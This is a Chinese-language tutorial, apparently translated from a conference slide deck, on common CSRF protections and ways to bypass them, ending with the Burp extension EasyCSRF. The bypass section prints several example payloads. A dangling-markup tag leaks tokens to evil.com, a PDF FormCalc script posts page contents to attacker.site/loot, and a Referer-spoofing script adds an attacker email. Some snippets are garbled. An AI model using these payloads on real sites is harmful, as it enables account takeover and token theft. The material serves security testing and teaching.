Neat tricks to bypass CSRF-protection

概述

在 2017 年的 OWASP (開放應用程序安全策略)Top 10 中,CSRF 漏洞排名第八,Bugcrowd 的漏洞評級分類中也把 CSRF 漏洞劃為 P2 (高危)等級。為什麼 CSRF 如此頻繁發生呢?

可能有如下幾個原因:

  1. 大多數的 web 應用仍然採用 cookie 來進行會話管理;
  2. cookie 的SameSite 屬性也沒有得到廣泛的應用,目前只有 Chrome 和 Opera 瀏覽器支持這種用法,並且在服務端還需要做一些修改 ;
  3. 大多數 CSRF 防護措施都是可以繞過的。

這篇文章先介紹 CSRF 的一些繞過手法,然後介紹一個 burpsuite 中的自動化插件 EasyCSRF,以幫我們完成繁雜的手動檢測工作。

常見的 CSRF 防護措施

CSRF攻擊,簡單地說,是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經認證過的網站並執行一些操作(如發郵件、發消息、甚至財產操作如轉賬和購買商品)。由於瀏覽器曾經認證過,所以被訪問的網站會認為是真正的用戶操作而去執行。這利用了web中用戶身份驗證的一個漏洞:簡單的身份驗證只能保證請求發自某個用戶的瀏覽器,卻不能保證請求本身是用戶自願發出的。

  • CSRF-token

在 HTTP 請求中以參數的形式加入一個隨機產生的 token,並在伺服器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認為可能是 CSRF 攻擊而拒絕該請求。

  • cookie雙重提交(驗證cookie內容)

除了請求中發送的本地 cookie,額外再要求提交一次 cookie,如果無法提供 cookie 內容並通不過驗證,則認為可能是 CSRF 攻擊而拒絕該請求。

  • Content-Type驗證
  • Referer驗證(驗證請求來源)

Http 協議頭中的 Referer 主要用來讓伺服器判斷來源頁面, 即用戶是從哪個頁面來的,通常被網站用來統計用戶來源,是從搜索頁面來的、還是從其他網站鏈接過來、或是從書籤等訪問,以便網站合理定位。

Referer 有時也被用作防盜鏈, 即下載時判斷來源地址是不是在網站域名之內, 否則就不能下載或顯示。很多網站,如天涯就是通過 Referer 頁面來判斷用戶是否能夠下載圖片,如果 referer 指向的頁面來源不是同一網站,則認為可能是 CSRF 攻擊而拒絕該請求 。

  • 口令確認

無法使用cookie直接驗證身份,必須還要輸入正確的密碼口令才可以通過驗證。

  • Samesite cookies(目前只有chrome和 Opera採用了此屬性)

Samesite Cookie 是 Set-Cookie 響應頭新增的屬性,它用來標明這個 cookie 是個」同站 cookie」,同站 cookie 只能作為第一方 cookie,不能作為第三方 cookie。SameSite 有兩個屬性值,分別是 Strict 和 Lax,下面分別講解:

SameSite=Strict:

嚴格模式,表明這個 cookie 在任何情況下都不可能作為第三方 cookie,絕無例外。比如說假如 b.com 設置了如下 cookie:

Set-Cookie: foo=1; SameSite=Strict nSet-Cookie: bar=2 n

你在 a.com 下發起的對 b.com 的任意請求中,foo 這個 cookie 都不會被包含在 Cookie 請求頭中,但 bar 會。舉個實際的例子就是,假如淘寶網站用來識別用戶登錄與否的 cookie 被設置成了 SameSite=Strict,那麼用戶從百度搜索頁面甚至天貓頁面的鏈接點擊進入淘寶後,淘寶都不會是登錄狀態,因為淘寶的伺服器不會接受到那個 cookie,其它網站發起的對淘寶的任意請求都不會帶上那個 cookie。

SameSite=Lax:

寬鬆模式,比 Strict 放寬了點限制:假如這個請求是我上面總結的那種同步請求(改變了當前頁面或者打開了新頁面)且同時是個 GET 請求(因為從語義上說 GET 是讀取操作,比 POST 更安全),則這個 cookie 可以作為第三方 cookie。比如說假如 b.com 設置了如下 cookie:

Set-Cookie: foo=1; SameSite=Strict nSet-Cookie: bar=2; SameSite=Lax nSet-Cookie: baz=3 n

當用戶從 a.com 點擊鏈接進入 b.com 時,foo 這個 cookie 不會被包含在 Cookie 請求頭中,但 bar 和 baz 會,也就是說用戶在不同網站之間通過鏈接跳轉是不受影響了。但假如這個請求是從 a.com 發起的對 b.com 的非同步請求,或者頁面跳轉是通過表單的 post 提交觸發的,則 bar 也不會發送。

可以參考這篇文章。

CSRF 的繞過

CSRF 繞過方法大致有如下幾種:

  1. 跨站腳本攻擊
  2. HTML標籤注入(Dangling markup)
  3. 子域繞過
  4. Cookie注入
  5. 改變Content-Type
  6. 複雜的Content-Type(Non-simple Content-Type)
  7. PDF插件(Bad Pdf)
  8. Referer偽造(Referer spoof)

CSRF防護有效繞過

接下來分別介紹它們:

XSS繞過

XSS 可以繞過 Web 系統和應用中大部分的防護,比如通過 XSS 來盜取用戶的 Cookie,以此來偽裝成真實用戶達到 CSRF 攻擊的目的。

HTML標籤注入

由於 CSP——內容安全策略等限制,在 web 系統和應用中不能進行 XSS 而只能通過 HTML注入。藉此攻擊者可以獲取到 CSRF-token 的內容 :

<img src="http://evil.com/log_csrf?html="> n<form action="http://evil.com/log_csrf"><textarea> n

子域繞過

(1)如果子域(例如: http://foo.example.com)能夠輕易被 XSS 攻擊、子域劫持或者 cookie 注入,那麼攻擊者可以輕易繞過 CSRF-token 驗證、cookie 雙重提交驗證和 Content-Type 驗證。

(2)Web系統和應用採取CORS(跨域資源共享)來與子域通信時,相關的響應如下:

Access-Control-Allow-Origin:https://foo.example.com?? nAccess-Control-Allow-Credentials:True;??????????????????? n

攻擊者可以通過子域讀取到主域 CSRF-token 的內容.

(3)子域(http://foo.example.com)存在XSS漏洞,主域包含文件crossdomain.xml:

<cross-domain-policy> n<allow-access-from-domain="*.example.com" />? //允許所有的子域跨域訪問 n</cross-domain-policy> n

攻擊者可以上傳 JS 文件到 http://foo.example.com,然後利用 foo.example.com 的 Service Worker 通過 Flash 讀取 CSRF-token 內容:

Var url="http://attacker.Com/bad.swf"; nOnfetch=(e)=>{????????????????? //FetchEvent API n e.respondWith(fetch(url));???? //respondWith方法包裹訪問URL返回的響應代碼 n} n

如: Amazon 的 CSRF-token 繞過 (ahussam.me/Amazon-leaki)

(4)攻擊者可以向父域或者任意目標路徑注入 cookie,瀏覽器會選擇路徑明確的 cookie,也就是我們注入的 cookie,這可以用來繞過 cookie 雙重提交驗證 。

PDF插件繞過

Adobe 的 PDF 插件(在線 PDF 文件查看)支持 FormCalc 腳本語言,目前被 IE11 和 Firefox ESR 支持。而 Form 的 Get 和 post 方法可能泄露 CSRF-token。

假設攻擊者可以上傳 PDF 文件到 example.com 站點,被上傳的文件能被目標網站example.com的 api 所解析,不過這裡要注意的是,最好以別的形式上傳文件,比如圖片等等。另外,PDF 插件是不會關心 Content-Type 或 Content-Disposition 頭的,大膽嘗試各種姿勢吧。

看如下一個例子:

Leak.pdf

<script contentType="application/x-formcalc"c">????????? n???????? Var content=GET("htttps://example.com/Settings.action");?? n???????? Post("http://attacker.site/loot",content,"text/plain"); n</script> n

Cookie注入繞過

攻擊者可以通過Cookie注入繞過cookie雙重提交驗證 。

????幾種Cookie注入:

1.CRLF 注入

攻擊者可以通過在一段數據中加入CRLF命令來改變接受這個數據的應用程序處理這個數據的方式 。

2.瀏覽器漏洞利用(如火狐的 CVE-2016-9078)

3.等等。。?

Content-Type偽造繞過

開發者認為非標準格式的數據就可以有效的阻止CSRF, 但有時後端並不會檢測??Content-Type頭 。

比如, 藉助PDF插件來修改 Content-Type,從而通過驗證 。

任意Content-Type繞過:

攻擊者通過 HTML 表單或者 XHR(XMLHttpReques) API 攻擊者只能發送一些簡單的Content_type:

如:

Text/plain napplication/x-www-form-urlencoded nmultipart/form-data n

那要怎麼去發送任意的 Content-Type 頭呢:

1、瀏覽器漏洞 (Chrome 的 navigator.sendBeacon 方法)?

2、Flash 插件 和 307 臨時重定向?

3、PDF 插件和 307 臨時重定向?

4、一些後端框架支持 URL 參數重定義 Content-Type 的, cxf.apache.org/docs/jax

這是Chrome的一個漏洞:Chrome Bug ,最近兩年很常見 ,Nabigator.sendBeacon()方法支持以任意content-Type發送POST請求

如下:

Referer偽造繞過

MS Edge的漏洞 ,此漏洞依然可以利用但是僅限於get請求,而有的後端程序不區分GET和POST請求,那就可以大膽去嘗試了。

<script contentType=application/x-formcalc> nPost("http://attacker.com:8888/redirect", n"{""action"":""add-user-email"",""Email"":""attacker@evil.com""}", "application/json

Referer; http://example.com")? n</script> n

PDF 插件發送 HTTP頭

Referer http://example.com nName:Value n

一些後台(Jboss/WildFly等)會將空格當作冒號(HTTP頭的末尾)

Referer http://example.com nName:Value n

漏洞挖掘者可以從這幾方面入手:

1有許多的API都存在基於 Content-Type的CSRF防護

2 檢查子域是否存在漏洞(XSS,子域名接管,cookie注入)

3? PDF上傳的技巧有時也可以試試

4 將帶有CSRF-token的url編碼 body轉換成沒有CSRF-token的JSON格式

Burp 中的 EasyCSRF 擴展

EasyCSRF 在 BurpSuite 的免費版中就可以使用

下載地址

EasyCSRF 作為代理監聽請求 (IProxyListener):

  • 不停修改請求 (移除CSRF參數/頭,改變請求方法等)
  • 高亮顯示已修改的請求
  • 可以直觀的看到修改的請求是否執行成

主界面

修改前

修改後

可以看到 EasyCSRF 把 PUT 方法改成了 POST 方法, 移除了 Origin 頭,並在歷史 url 中高亮請求 。

原文:slideshare.net/0ang3el/

推薦閱讀:

TAG:渗透测试 | CSRF | 信息安全 |